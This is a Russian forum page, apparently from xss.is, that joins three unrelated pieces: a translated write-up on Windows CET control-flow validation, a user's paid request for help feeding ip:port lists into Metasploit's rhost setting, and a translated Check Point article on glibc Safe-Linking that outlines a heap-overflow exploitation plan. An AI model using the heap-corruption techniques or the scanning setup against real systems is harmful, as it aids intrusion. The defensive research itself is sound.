- KiVerifyContextRecord - вызывается в ответ на API-интерфейсы NtContinueEx, NtRaiseException и, в некоторых случаях, NtSetContextThread. Перед вызовом KeVerifyContextIpForUserCet (только если его полученный ContinueArgument не равен NULL), эта функция проверяет, пытается ли вызывающая сторона изменить регистр CS, и допустимо ли новое значение - процессам, не относящимся к WOW64, разрешено устанавливать CS только в KGDT64_R3_CODE, если только это пико-процессы, в этом случае они могут установить CS в KGDT64_R3_CODE или KGDT64_R3_CMCODE. Любое другое значение заставит KiVerifyContextRecord принудительно установить новое значение CS в KGDT64_R3_CODE. KiVerifyContextRecord вызывается либо KiContinuePreviousModeUser, либо KeVerifyContextRecord. Во втором случае функция проверяет, что RSP находится внутри одного из стеков процессов (native или wow64), и что 64-разрядные процессы будут когда-либо устанавливать CS только в KGDT64_R3_CODE.
Click to expand...
Все пути, которые вызывают KeVerifyContextIpForUserCet для проверки целевого
RIP, сначала вызывают функцию KeVerifyContextXStateCetU для проверки целевого
SSP и выполняют только проверки RIP, если определено, что SSP является
действительным.
Раскрутка исключений и проверка Longjmp
Как показано выше, обработка для KCONTEXT_SET и KCONTEXT_RESUME связана с проверкой того, что целевой RIP является частью теневого стека, но другие сценарии (KCONTEXT_UNWIND и KCONTEXT_LONGJMP) требуют расширенной проверки с помощью функции RtlVerifyUserUnwind. Этот второй путь проверки содержит ряд интересных сложностей, которые требовали изменений в формате PE-файла (и поддержки компилятора), а также новый класс информации на уровне ОС, добавленный в NtSetInformationProcess для поддержки компилятора JIT.
Уже добавленный из-за улучшений поддержки Control Flow Guard (CFG), Каталог Конфигурации Загрузки Образа внутри PE-файла теперь содержит информацию для допустимых целей ветвления, используемых как часть пары setjmp/longjmp, которую должен идентифицировать современный компилятор и передать в компоновщик. В CET эти существующие данные используются повторно, но добавляется еще одна таблица и размер для поддержки продолжения обработчика исключений. В то время как Visual Studio 2017 производит таблицу longjmp, только Visual Studio 2019 создает эту более новую таблицу.
В этом последнем разделе мы рассмотрим формат этих таблиц и то, как ядро может авторизовать два последних типа потоков управления KCONTINUE_TYPE.
Таблицы метаданных PE
В дополнение к стандартной таблице GFIDS, присутствующей в образе Control Flow Guard, в Windows 10 также добавлена поддержка проверки целей longjmp путем включения Таблицы Длинных Целевых Переходов , обычно расположенной в разделе PE с именем .gljmp, RVA которого хранится в поле GuardLongJumpTargetTable в каталоге конфигурации загрузки изображений.
Всякий раз, когда в коде делается вызов setjmp, в эту таблицу добавляется RVA обратного адреса (в который будет переходить longjmp). Наличие этой таблицы определяется флагом IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT в GuardFlags каталога конфигурации загрузки образа и содержит столько записей, сколько указано в поле GuardLongJumpTargetCount.
Каждая запись представляет собой 4-байтовый адрес RVA плюс n байтов метаданных, где n берется из результата (GuardFlags & IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK) >> IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_SHIFT. Для этой таблицы метаданные не определены, поэтому ожидается, что байты метаданных всегда будут равны нулю. Интересно, что, поскольку этот расчет такой же, как и для таблицы GFIDS (которая может содержать метаданные, если включено подавление экспорта), подавление хотя бы одной цели CFG приведет к добавлению 1 байта пустых метаданных к каждой записи в Long Jump Target Table.
Например, вот PE-файл с двумя целями longjmp:
Обратите внимание на значение 1 в верхнем полубайте GuardFlags (что соответствует IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK) из-за того, что этот образ также использует подавление экспорта CFG. Это говорит нам о том, что один дополнительный байт метаданных будет присутствовать в Long Jump Target Table, которую вы можете увидеть ниже:
В Windows 10 версии 20H1 метаданные этого типа теперь включены в одну дополнительную ситуацию - когда цели продолжения обработчика исключений присутствуют как часть потока управления двоичного файла. Два новых поля - GuardEHContinuationTable и GuardEHContinuationCount - добавляются в конец каталога конфигурации загрузки образа, и флаг IMAGE_GUARD_EH_CONTINUATION_TABLE_PRESENT теперь является частью GuardFlags. Структура этой таблицы идентична той, которая показана для Long Jump Target Table включая добавление байтов метаданных, основанных на верхнем полубайте GuardFlags.
К сожалению, даже текущие предварительные версии Visual Studio 2019 не генерируют эти данные, поэтому в настоящее время мы не можем показать вам пример - этот анализ основан на реверсинге кода проверки, который мы опишем позже, а также заголовочного файла Ntimage.h в 20H1 SDK.
Таблица обращенных пользователем функций
Теперь, когда мы знаем, что изменения потока управления могут произойти для перехода к цели longjmp или цели продолжения обработчика исключений, возникает вопрос - как мы можем получить эти две таблицы на основе RIP-адреса, присутствующего в структуре CONTEXT_EX, как части вызова функции NtContinueEx? Поскольку эти операции могут часто происходить в контексте выполнения некоторых программ, ядру необходим эффективный способ решения этой проблемы.
Возможно, вы уже знакомы с концепцией таблицы Инвертированных Функций. Такая таблица используется библиотекой Ntdll.dll (LdrpInvertedFunctionTable) для поиска кодов операций раскрутки и данных исключений во время обработки исключений в пользовательском режиме (например, путем поиска раздела .pdata). Другая таблица присутствует в файле Ntoskrnl.exe (PsInvertedFunctionTable) и используется во время обработки исключений режима ядра, а также в качестве части проверок PatchGuard.
Короче говоря, Таблица Инвертированных Функций - это массив, содержащий все загруженные модули пользователя/ядра по их размеру и указатель на каталог исключений PE, отсортированный по виртуальному адресу. Первоначально он был создан как оптимизация, поскольку поиск в этом массиве выполняется намного быстрее, чем синтаксический анализ заголовка PE, а затем поиск в связанном списке загруженных модулей - бинарный поиск в таблице инвертированных функций быстро найдет любой виртуальный адрес в соответствующем модуле только как log(n). Ken Johnson и Matt Miller, ныне известные Microsoft, ранее опубликовали подробный обзор в рамках своей статьи о методах перехвата в режиме ядра в журнале Uninformed.
Ранее, однако, библиотека Ntdll.dll только сканировал свою таблицу на предмет исключений пользовательского режима, а ядро Ntoskrnl.exe только сканировало свой аналога на предмет исключений режима ядра - изменения в версии 20H1 заключаются в том, что ядру теперь придется сканировать также пользовательскую таблицу - как часть новой логики, необходимой для обработки longjmp и исключений. Для поддержки этого добавлена новая функция RtlpLookupUserFunctionTableInverted, которая сканирует переменную KeUserInvertedFunctionTable, сопоставляя ее с теперь экспортированным символом LdrpInvertedFunctionTable в Ntdll.dll.
Это захватывающая криминалистическая возможность, так как она означает, что теперь у вас есть простой способ найти модули пользовательского режима, загруженные в текущем процессе, без необходимости разбирать данные загрузчика PEB или перечислять VAD. Например, вот как вы можете видеть текущие загруженные образы в процессе Csrss.exe:
Bash:Copy to clipboard
dx @$cursession.Processes.Where(p => p.Name == "csrss.exe").First().SwitchTo()
dx -r0 @$table = *(nt!_INVERTED_FUNCTION_TABLE**)&nt!KeUserInvertedFunctionTable
dx -g @$table->TableEntry.Take(@$table->CurrentSize)
При этом существует, хотя и удаленная, возможность того, что образ не содержит каталог исключений, особенно в системах x86, где не существует опкодов расскрутки, и секция .pdata создается только в том случае, если используется /SAFESEH и существует хотя бы один обработчик исключений.
В этих ситуациях RtlpLookupUserFunctionTableInverted может завершиться ошибкой, и вместо этого необходимо использовать функцию MmGetImageBase. Неудивительно, что при этом ищется любой VAD, который отображает регион, соответствующий входному указателю RIP, и, если это образ VAD, возвращает базовый адрес и размер региона (который должен соответствовать адресу модуля).
Цели обработчика динамических исключений
Последнее препятствие существует при обработке запросов KCONTINUE_UNWIND - хотя обычные процессы имеют в своих кодах цели продолжения обработчика статических исключений, основанные на предложениях __try/except/ finally, Windows позволяет механизмам JIT не только динамически создавать исполняемый код на лету, но и зарегистрировать обработчики исключений (и раскрутить опкоды) для него во время выполнения, например, через вызов RtlAddFunctionTable. Хотя эти обработчики исключений ранее были нужны только для обхода стека в пользовательском режиме и расскрутки исключений, теперь обработчики продолжения становятся законными целями потока управления, которые ядро должно понимать как потенциально допустимые значения для RIP. Это последняя возможность, которую обрабатывает RtlpFindDynamicEHContinuationTarget.
В рамках поддержки CET и введения NtContinueEx структура EPROCESS была расширена двумя новыми полями, названными DynamicEHContinuationTargetsLock и DynamicEHContinuationTargetsTree, первое из которых является EX_PUSH_LOCK, а второе - RTL_RB_TREE, которое содержит все действительные адреса обработчиков исключений. Это дерево управляется посредством вызова NtSetInformationProcess с новым классом информации о процессе, ProcessDynamicEHContinuationTargets, которая сопровождается структурой данных типа PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION, содержащий, в свою очередь массив записей PROCESS_DYNAMIC_EH_CONTINUATION_TARGET, которые будут проверены перед изменением DynamicEHContinuationTargetsTree. Чтобы упростить задачу, смотри определения ниже для этих структур и флагов:
C:Copy to clipboard
#define DYNAMIC_EH_CONTINUATION_TARGET_ADD 0x01
#define DYNAMIC_EH_CONTINUATION_TARGET_PROCESSED 0x02
typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGET
{
ULONG_PTR TargetAddress;
ULONGLONG Flags;
} PROCESS_DYNAMIC_EH_CONTINUATION_TARGET, *PPROCESS_DYNAMIC_EH_CONTINUATION_TARGET;
typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION
{
USHORT NumberOfTargets;
USHORT Reserved;
ULONG Reserved2;
PPROCESS_DYNAMIC_EH_CONTINUATION_TARGET* Targets;
} PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION, *PPROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION;
Функция PspProcessDynamicEHContinuationTargets вызывается для итерации по этим данным, в какой момент RtlAddDynamicEHContinuationTarget вызываются для любого элемента, содержащего установленный флаг DYNAMIC_EH_CONTINUATION_TARGET_ADD, который выделяет структуру данных, хранящую целевой адрес, и связывая его RTL_BALANCED_NODE связь с RTL_RB_TREE в EPROCESS. И наоборот, если флаг отсутствует, то цель ищется, и если она действительно существует, удаляется и ее узел освобождается. По мере обработки каждой записи флаг DYNAMIC_EH_CONTINUATION_TARGET_PROCESSED вставляется в исходный буфер ввода OR, чтобы вызовы могли знать, какие записи работали, а какие — нет.
Очевидно, что существование этой возможности является универсальным обходом любой CET/CFG-подобной возможности, поскольку каждый возможный гаджет ROP может быть просто добавлен как "цель динамического продолжения". Однако, поскольку Microsoft в настоящее время только законно поддерживает JIT- компиляцию вне процесса для браузеров и Flash, важно отметить, что этот API работает только для удаленных процессов. Фактически, вызов этого в текущем процессе всегда будет неудачным со статусом STATUS_ACCESS_DENIED.
Целевая проверка
Объединяя все эти знания вместе, функцию RtlVerifyUserUnwindTarget становится довольно легко объяснить.
- Найдите загруженный PE-модуль, связанный с целевым указателем RIP, в структуре CONTEXT_EX. Сначала попробуйте использовать RtlpLookupUserFunctionTableInverted и, если это не получится, переключитесь на использование функции MmGetImageBase, убедившись, что модуль <4 ГБ.
- Если модуль был найден, вызовите функцию LdrImageDirectoryEntryToLoadConfig, чтобы получить его Каталог Конфигурации Загрузки Образа. Затем убедитесь, что он достаточно большой, чтобы содержать Long Jump or DynamicExceptionHandlerContinuationTarget и чтобы защитные флаги содержали IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT или IMAGE_GUARD_EH_CONTINUATION_TABLE_PRESENT. Если каталог отсутствует, слишком мал или отсутствует соответствующая таблица, верните STATUS_SUCCESS из соображений совместимости.
-Получите GuardLongJumpTargetTable или GuardEHContinuationTable из Каталога Конфигурации Загрузки Образа и проверьте GuardLongJumpTargetCount или GuardEHContinuationCount. Если существует более 4 миллиардов записей, верните STATUS_INTEGER_OVERFLOW. Если записей больше 0, то вызовите бинарный поиск, используя функцию bsearch_s (передавая RtlpTargetCompare в качестве компаратора) через таблицу, чтобы найти целевой RIP после преобразования его в RVA. Если он найден, то вернутся STATUS_SUCCESS.
- Если целевой RIP не был найден (или если таблица содержала 0 записей для начала), или если загруженный модуль не был найден в целевом RIP в первую очередь, тогда верните STATUS_SET_CONTEXT_DENIED для проверок longjmp (KCONTINUE_LONGJUMP).
- В противном случае, для проверки раскуртки исключений (KCONTINUE_UNWIND) вызовите RtlpFindDynamicEHContinuationTarget, чтобы проверить, была ли это зарегистрированная цель продолжения обработчика динамических исключений. Если да, верните STATUS_SUCCESS, в противном случае верните STATUS_SET_CONTEXT_DENIED.
Click to expand...
Заключение
Внедрение CET и связанные с ним меры по безопасности являются важным шагом на пути к устранению использования ROP и других методов перехвата потока управления. Целостность потока управления, очевидно, является сложной темой, которая, вероятно, станет еще более сложной, поскольку в будущем к ней будут добавлены дополнительные средства защиты. Дальнейшие проблемы совместимости и одноразовые сценарии, вероятно, приведут к тому, что будет обнаружено все больше и больше случаев, которые потребуют особой обработки. Тем не менее, такой большой шаг в технологии защиты, особенно такой, который включает в себя так много новых функций, неизбежно будет иметь пробелы и проблемы, и мы уверены, что по мере проведения дополнительных исследований в этой области, интересные вещи будут обнаружены там и в будущее.
источник https://windows-internals.com/cet-on-windows/
Перевод: yashechka, специально для
https://xss.is
В мете есть возможность брать из фаила ip командой set rhost.
file:/patch/ip.txt
так же там есть параметр set RPORT XXX
я ищу решение что бы. set rhost "кушал" ip:port
без указания rport
если проще у меня есть массив ip:port.( порты все рандомные)
мне нужно что бы бы мета принимала вход данные ип порт сразу
без указания set rport а сразу одной командой set rhost file:/path/ipport.txt
Я так же готов заплатить за решение этой задачи
Safe-Linking - устранение 20-летнего эксплойт примитива функции malloc()
21 мая 2020 г.
Исследователь: Eyal Itkin
Обзор
Одна из наших целей для каждого исследовательского проекта, над которым мы работаем в Check Point Research, это получить глубокое понимание того, как работает программное обеспечение. Какие компоненты оно содержат? Уязвимо ли оно? Как злоумышленники могут использовать эти уязвимости? И что более важно, как мы можем защититься от таких атак?
В нашем последнем исследовании, мы создали механизм безопасности, называемый "Безопасная-Линковка" для защиты односвязных списков в функции malloc() от взлома злоумышленником. Мы успешно применили наш подход к основным библиотекам с открытым исходным кодом, и теперь он интегрирован в наиболее распространенную реализацию стандартной библиотеки glibc (Linux) и ее популярный встроенный аналог, библиотеку uClibc-NG.
Важно отметить, что "Безопасная Линковка" не волшебная пуля, которая остановит все попытки эксплуатации современных реализаций кучи. Однако, это еще один шаг в правильном направлении. Исходя из нашего прошлого опыта, этот конкретный подход мог бы заблокировать несколько крупных эксплоитов, которые мы демонстрировали на протяжении многих лет, превращая, таким образом, "сломанные" программные продукты в "неэксплуатируемые".
Происхождение
С первых дней бинарной эксплуатации, внутренние структуры данных кучи были основной целью для злоумышленников. Понимая, как работают функции кучи malloc() и free(), злоумышленники смогли перевести первичную уязвимость в буфере кучи, такую как линейное переполнение буфера, в более сильный примитив эксплоита, такой как Произвольная-Запись.
Пример этого подробно описан в статье Phrack за 2001 год: Vudo Malloc Tricks (http://phrack.org/issues/57/8.html). В этой статье рассматриваются внутренние возможности реализации нескольких куч и описывается то, что сейчас называется “ Unsafe-Unlinking”. Злоумышленники, которые изменяют указатели FD и BK в двухсвязных списках (например, Small-Bins), могут использовать операцию unlink() для запуска Произвольной-Записи и, таким образом, добиться выполнения кода над целевой программой.
И действительно, glibc версии 2.3.6 от 2005 года включила исправление в этот известный примитив эксплоита под названием “ Safe-Unlinking”. Это элегантное исправление проверяет целостность двухсвязного узла перед тем, как отсоединить его от списка, как видно на рисунке 1:
Рисунок 1: Safe-Unlinking в действии - проверка p->fd->bk == p.
Хотя этот примитив эксплоита был заблокирован более 15 лет назад, в то время никто не придумал аналогичного решения для защиты указателей в односвязных списках. Используя это уязвимое место, злоумышленники переключили свое внимание на эти незащищенные односвязные списки, такие как Fast-Bins, а также TCache (Кэш Потока). Разрушение единственного связанного списка позволяет атакующему получить примитив Arbitrary-Malloc, то есть небольшое контролируемое выделение в произвольном адресе памяти.
В этой статье, мы ликвидируем этот почти 20-летний пробел в безопасности и покажем, как мы создали механизм безопасности для защиты односвязных списков.
Прежде чем мы углубимся в дизайн Безопасного-Связывания, давайте рассмотрим пример эксплуатации, нацеленный на уязвимые Fast-Bins. Читатели, имеющие большой опыт в таких методах эксплуатации, могут свободно переходить к разделу Введение в Safe-Linking.
Экспериментальный пример эксплуатации - CVE-2020-6007:
Во время нашего исследования по взлому интеллектуальных лампочек, мы обнаружили уязвимость переполнения буфера на основе кучи: CVE-2020-6007 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6007). В процессе эксплуатации этой уязвимости высокой степени опасности мы показываем, как злоумышленники используют незащищенные односвязные списки Fast-Bins для преобразования линейного переполнения буфера в гораздо более мощную Произвольную-Запись.
В нашем тестовом примере, куча представляет собой простую реализацию dlmalloc (http://gee.cs.oswego.edu/dl/html/malloc.html) или, более конкретно, реализацию "malloc-standard" uClibc (micro LibC https://www.uclibc.org/), скомпилированной для 32-битной версии. На рисунке 2 показаны метаданные, используемые этой реализацией кучи:
Рисунок 2: структура malloc_chunk , используемая в реализации кучи
Замечания:
- Когда буфер выделен и используется, первые два поля сохраняются перед
буфером пользовательских данных.
- Когда буфер освобождается и помещается в Fast-Bin, третье поле также
используется и указывает на следующий узел в связанном списке Fast-Bin. Это
поле находится в первых 4 байтах пользовательского буфера.
- Когда буфер освобожден и не помещен в Fast-Bin, третье и четвертое поля
используются как часть двусвязного списка. Эти поля расположены в первых 8
байтах пользовательского буфера.
Fast-Bins - это массив "ячеек" разных размеров, каждая из которых содержит один связанный список чанков до определенного размера. Минимальный размер ячейки содержит буферы размером до 0x10 байтов. Следующий содержит буферы размером от 0x11 до 0x18 байтов и так далее.
План переполнения
Не вдаваясь в подробности, наша уязвимость дает нам небольшое, но управляемое переполнение буфера на основе кучи. Наш главный план заключается в переполнении смежного свободного буфера, который находится в Fast-Bin. На рисунке 3 показано, как выглядят буферы до нашего переполнения:
Рисунок 3: Наш контролируемый буфер ( синим цветом ) помещен перед
освобожденным буфером ( синим цветом ).
На рисунке 4 показаны те же два буфера после нашего переполнения:
Рисунок 4: Наше Переполнение модифицировано поле size и ptr освобожденного буфера (показано красным ).
Используя наше переполнение, мы изменяем то, что, как мы надеемся, является односвязным указателем записи Fast-Bin. Изменяя этот указатель на наш собственный произвольный адрес, мы можем заставить кучу думать, что новый освобожденный чанк теперь хранится там. На рисунке 5 показан поврежденный односвязный список Fast-Bin, как он выглядит в куче:
Рисунок 5: Поврежденный односвязный список Fast-Bin красного цвета .
Запуская последовательность распределений размера, соответствующего размеру соответствующей Fast-Bin, мы получаем примитив Malloc-Where. Остальные технические подробности о создании полного эксплойта для выполнения кода, а также полное исследование лампочек будут опубликованы в следующем посте в блоге.
Примечание : Некоторые из вас могут сказать, что полученный нами примитив Malloc-Where ограничен, так как фиктивный "Свободный Чанк" должен начинаться с поля размера, которое совпадает с полем текущего Fast-Bin. Однако эта дополнительная проверка была реализована только в glibc и отсутствует в uClibc-NG. Поэтому у нас нет никаких ограничений для нашего примитива Malloc- Where.
Представляем Safe-Linking:
После окончания исследования лампочек, у нас было немного свободного времени до начала 36C3(Chaos Communication Congress ), и я планировал решить некоторые проблемы с недавних соревнований CTF. Вместо этого, я снова подумал о недавно разработанном эксплоите. Я почти десять лет эксплуатировал переполнения буфера на основе кучи, всегда ориентируясь на один связанный список в куче. Даже в задачах CTF, я все еще фокусировался на уязвимых односвязных списках Tcache. Конечно, есть некоторый способ защитить этот популярный примитив.
И так возникла концепция Безопасного-Связывания. Safe-Linking использует случайность из Address Space Layout Randomization (ASLR), которая в настоящее время активно используется в большинстве современных операционных систем, чтобы "подписать" указатели списка. В сочетании с проверками целостности выравнивания чанков, этот новый метод защищает указатели от попыток угона.
Наше решение защищает от 3 распространенных атак, регулярно используемых в современных эксплойтах:
- Частичное переопределение указателя: изменение младших байтов указателя
(Little Endian).
- Полное переопределение указателя: перехват указателя на выбранное
произвольное местоположение.
- Неразмещенные чанки: указание списка по не выровненному адресу.
Моделирование угроз
В нашей модели угроз, злоумышленник имеет следующие возможности:
- Контролируемое линейное переполнение буфера / опустошение через буфер кучи.
- Относительную произвольную запись через кучу буфера.
Важно отметить, что наш злоумышленник не знает, где находится куча, так как базовый адрес кучи рандомизируется вместе с mmap_base посредством ASLR (подробнее об этом в следующем разделе).
Наше решение поднимает полку и блокирует попытки злоумышленника использовать эксплоит. После развертывания, злоумышленники должны иметь дополнительную возможность в виде утечки-кучи/утечки-указателя. Примером сценария для нашей защиты является зависящий от позиции двоичный файл (загружается без ASLR), который имеет переполнение кучи при анализе входящего пользовательского ввода. Это было именно так в примере, который мы показали ранее в исследовании лампочек.
До сих пор, злоумышленник мог эксплуатировать такие цели без утечки кучи и с минимальным контролем над распределением кучи, полагаясь исключительно на фиксированные адреса двоичного файла. Мы можем блокировать такие попытки эксплуатации и использовать ASLR кучи для получения случайности, когда мы перенаправляем распределение кучи на фиксированные адреса в целевых двоичных файлах.
Защита
На машинах Linux куча рандомизируется через вызов mmap_base, которая следует следующей логике:
random_base = ((1 << rndbits) - 1) << PAGE_SHIFT)
По умолчанию rndbit равен 8 на 32-битных машинах Linux и 28 на 64-битных машинах.
Мы обозначаем адрес, в котором указатель на один связанный список хранится как L. Теперь определим следующий расчет:
Mask := (L >> PAGE_SHIFT)
В соответствии с формулой ASLR, показанной выше, сдвиг позиционирует первые случайные биты из адреса памяти прямо на LSBit маски.
Это приводит нас к нашей схеме защиты. Мы обозначаем односвязный указатель списка через P, и вот так выглядит схема:
Версия кода:
C:Copy to clipboard
#define PROTECT_PTR(pos, ptr, type) \
((type)((((size_t)pos) >> PAGE_SHIFT) ^ ((size_t)ptr)))
#define REVEAL_PTR(pos, ptr, type) \
PROTECT_PTR(pos, ptr, type)
Таким образом, случайные биты из адреса L помещаются поверх LSB сохраненного защищенного указателя, как можно видеть на рисунке 6:
Рисунок 6: Маскированный указатель P’покрыт случайными битами, как показано красным .
Этот уровень защиты не позволяет злоумышленнику без знания случайных бит ASLR (показано красным) изменить указатель на контролируемое значение.
Однако, если вы обратили внимание, вы можете легко увидеть, что мы находимся в невыгодном положении по сравнению с механизмом Safe-Unlinking. Хотя злоумышленник не может правильно захватить указатель, мы также ограничены, поскольку не можем проверить, произошла ли модификация указателя. Здесь происходит дополнительная проверка.
Все выделенные чанки в куче выровнены с известным фиксированным смещением, которое обычно составляет 8 байтов на 32-битных машинах и 16 на 64-битных машинах. Проверяя, чтобы каждый указатель функцией reveal(), что он был выровнен соответствующим образом, мы добавляем два важных слоя:
- Злоумышленники должны правильно угадать биты выравнивания.
- Злоумышленники не могут указывать фрагменты на невыровненные адреса памяти.
На 64-битных компьютерах, эта статистическая защита приводит к неудачной попытке атаки. 15 из 16 раз. Если мы вернемся к рисунку 6, то увидим, что значение защищенного указателя заканчивается полубайтом 0x3, что означает, что злоумышленник должен использовать значение 0x3 в своем переполнении, иначе он испортит значение и проверку выравнивания не выполниться.
Даже сама по себе, эта проверка выравнивания предотвращает известные примитивы эксплоита, такие как описанный в этой статье, в котором описывается, как направить Fast-Bin на перехват функции malloc(), чтобы немедленно получить выполнение кода.
Примечание : на процессорах Intel glibc по-прежнему использует выравнивание 0x10 байтов как для 32-битных, так и для 64-битных архитектур, в отличие от общего случая, который мы только что описали выше. Это означает, что для glibc мы предоставляем улучшенную защиту на 32 битных компьютерах и можем статистически блокировать 15 из 16 попыток атак.
Пример реализации
На рисунке 7 показан фрагмент исходного патча, который мы отправили в glibc:
Рисунок 7: Пример фрагмента кода из начальной версии нашего патча, отправленного в glibc.
Хотя с тех пор патч был очищен, мы все еще видим, что необходимая модификация кода для защиты TCache в glibc невелика и проста. Что подводит нас к следующему разделу, бенчмаркингу.
Бенчмаркинг
Сравнительный анализ показал, что добавленный код суммирует до 2-3 ассемблерных-инструкций для функции free() и 3-4 ассемблерные-инструкций для функции malloc(). В библиотеке glibc, изменение было незначительным и не поддается измерению даже при суммировании 1 миллиарда(!) вызовов функций malloc()/free() на одном виртуальном ЦП в GCP. Тесты проводились на 64-битной версии библиотеки. Вот результаты после запуска тестового теста glibc malloc- simple для буферов размером 128 (0x80) байтов на том же сервере GCP:
Рисунок 8: Результаты бенчмаркинга для malloc-simpleтеста glibc .
Более быстрые результаты для каждого теста выделены жирным шрифтом. Как мы видим, результаты практически одинаковы, и в половине тестов исправленная версия была быстрее, что на самом деле не имеет смысла. Обычно это означает, что уровень шума на сервере намного выше, чем фактическое влияние добавленной функции на общие результаты. Короче говоря, это означает, что дополнительные издержки нашей новой функции незначительны, и это хорошая новость.
В качестве другого примера, худшее влияние на бенчмаркинг-тесты функции tcmalloc (gperftools) было связано с накладными расходами в 1,5%, тогда как среднее значение составило всего 0,02%.
Эти результаты сравнительного анализа обусловлены тонкой конструкцией предлагаемого механизма:
- Защита не имеет дополнительной памяти.
- Защита не требует инициализации.
- Никакого специального источника случайности не требуется.
- Защита использует только L и P, которые оба присутствуют в то время, когда
указатель должен быть protect() или reveal().
Важно отметить, и что это подробно изложено в документации glibc, что и Fast- Bins, и TCache используют односвязные списки для хранения данных. Они поддерживают только функции put/get, и никакая общая функциональность не пересекает весь список и сохраняет его без изменений. Хотя такая функциональность существует, она используется только для сбора статистики функции malloc (mallinfo), поэтому дополнительные издержки для доступа к односвязному указателю незначительны.
Пересматривая нашу модель угрозы
Проверка выравнивания уменьшает поверхность атаки и требует, чтобы блок Fast- Bin или TCache указывал на выровненный адрес памяти. Это напрямую блокирует известные варианты эксплоитов, как упоминалось выше.
Как и в случае Safe-Unlinking (для двойных списков), наша защита основана на том факте, что злоумышленник не знает, как выглядят законные указатели кучи. В сценарии с двойным списком, злоумышленник, который может подделать структуру памяти и знает, как выглядит действительный указатель кучи, может успешно подделать действительную пару указателей FD/BK, которая не вызовет примитив Произвольной-Записи, но разрешает чанк по адресу, контролируемому злоумышленником.
В сценарии с одно-связанным списком злоумышленник без утечки указателя не сможет полностью контролировать переопределенный указатель из-за уровня защиты, который зависит от случайности, унаследованной от развернутого ASLR. Предлагаемый PAGE_SHIFT размещает случайные биты прямо над первым битом сохраненного указателя. Вместе с проверкой выравнивания, это статистически блокирует злоумышленников от изменения даже самого младшего бита/байта (Little Endian) сохраненного односвязного указателя.
Разворот сюжета - функция MaskPtr()
Нашей целью было объединить Safe-Linking с ведущими открытыми источниками, которые реализуют каждый вид кучи, содержащей односвязнные списки. Одной из таких реализаций является функция tcmalloc (Thread-Cache Malloc) от Google, которая в то время была только с открытым исходным кодом как часть репозитория gperftools. Перед отправкой нашего патча в gperftools (https://github.com/gperftools/gperftools), мы решили взглянуть на Git- репозиторий Chromium, на случай, если они могут использовать другую версию tcmalloc. Что, как выясняется, они и сделали.
Мы пропустим урок истории и сразу перейдем к результатам:
- gperftools появился в 2007 году, и последняя версия - 2.7.90.
- Tcmalloc выглядит так, как будто он основан на версии 2.0 gperftool.
- В феврале 2020 года, после того как мы уже представили исправления во все
открытые источники, Google выпустила официальный репозиторий TCMalloc GitHub,
который отличается от обеих предыдущих реализаций.
Исследуя версию Chromium, мы увидели, что не только их TCache теперь основан на двойных списках (теперь называемых FL, для Free List), а не на односвязных списках (первоначально назывался SLL), они также добавили особую функцию под нахванием MaskPtr(). При более внимательном рассмотрении виден следующий фрагмент кода:
C:Copy to clipboard
inline void* MaskPtr(void* p) {
// Maximize ASLR entropy and guarantee the result is an invalid address.
const uintptr_t mask =
~(reinterpret_cast<uintptr_t>(TCMalloc_SystemAlloc) >> 13);
return reinterpret_cast<void*>(reinterpret_cast<uintptr_t>(p) ^ mask);
}
Код удивительно похож на нашу реализацию PROTECT_PTR. Кроме того, авторы этого патча специально отметили, что "Цель здесь состоит в том, чтобы не допустить распыления в списках freelist".
Похоже, что команда безопасности Chromium представила свою собственную версию Безопасного-Связывания для функции tcmalloc, и они сделали это 8 лет назад, что весьма впечатляет.
Из изучения их кода, мы можем видеть, что их маска основана на (случайном значении) указателя из раздела кода (TCMalloc_SystemAlloc), а не на расположении кучи, как используется в нашей реализации. Кроме того, они сдвигают адрес на жестко закодированное значение 13, а также инвертируют биты своей маски. Поскольку нам не удалось найти документацию, мы можем прочитать из кода, что инверсия битов используется, чтобы гарантировать, что результатом будет неправильный адрес.
Прочитав их логи, мы также узнали, что они оценили снижение производительности этой функции как менее 2%.
По сравнению с нашим проектом, реализация Chromium подразумевает дополнительную ссылку на память (на функцию кода) и дополнительную ассемблерную инструкцию для переключения битов. Их маскирование указателя используется без дополнительной проверки выравнивания, и поэтому код не может заранее отследить изменение указателя без сбоя процесса.
Интеграция
Мы внедрили и протестировали патчи для успешной интеграции предложенного средства защиты с последними версиями glibc (ptmalloc), uClibc-NG (dlmalloc), gperftools (tcmalloc) и более поздних версий, совершенно нового TCMalloc от Google. Кроме того, мы также указали команде разработчиков Chromium на нашу версию Безопасного-Связывания, которая была представлена gperftools, в надежде, что некоторые из наших улучшений производительности, специфичных для gperftools, найдут свой путь в версии Chromium.
Когда мы начали работать над Безопасным-Связыванием, мы полагали, что интеграция Безопасного-Связывания с этими 3 (теперь 4) доминирующими библиотеками приведет к более широкому принятию другими библиотеками, как в сообществе открытого исходного кода, так и в программном обеспечении с закрытым исходным кодом в отрасли. Тот факт, что базовая версия Безопасным- Связыванием уже встроена в Chromium с 2012 года, подтверждает зрелость этого решения.
Вот результаты интеграции, так как они на момент написания этой записи в блоге.
glibc (ptmalloc)
Статус: Интегрирован. Будет выпущен в версии 2.32 в августе 2020 года.
Активация: по умолчанию включена.
Сопровождающие проекта GNU glibc были очень кооперативными и отзывчивыми. Главным препятствием было подписание юридических документов, которые позволят нам, как сотрудникам корпорации, пожертвовать исходный код, лицензированный по лицензии GPL, в репозиторий GNU. Как только мы преодолели эту проблему, процесс стал действительно плавным, и последняя версия нашего патча была передана в библиотеку и готова к включению в следующую версию.
Мы хотели бы поблагодарить разработчиков glibc за сотрудничество на протяжении всего этого процесса. Их готовность включить в свой проект функцию безопасности “по умолчанию“ была очень приятной, особенно по сравнению с нашими первоначальными ожиданиями и ответом, который мы получили из других репозиториев.
uClibc-NG (dlmalloc)
Статус: Релиз в версии [v1.0.33](https://gogs.waldemar-brodkorb.de/oss/uclibc- ng/src/v1.0.33).
Активация: по умолчанию включена.
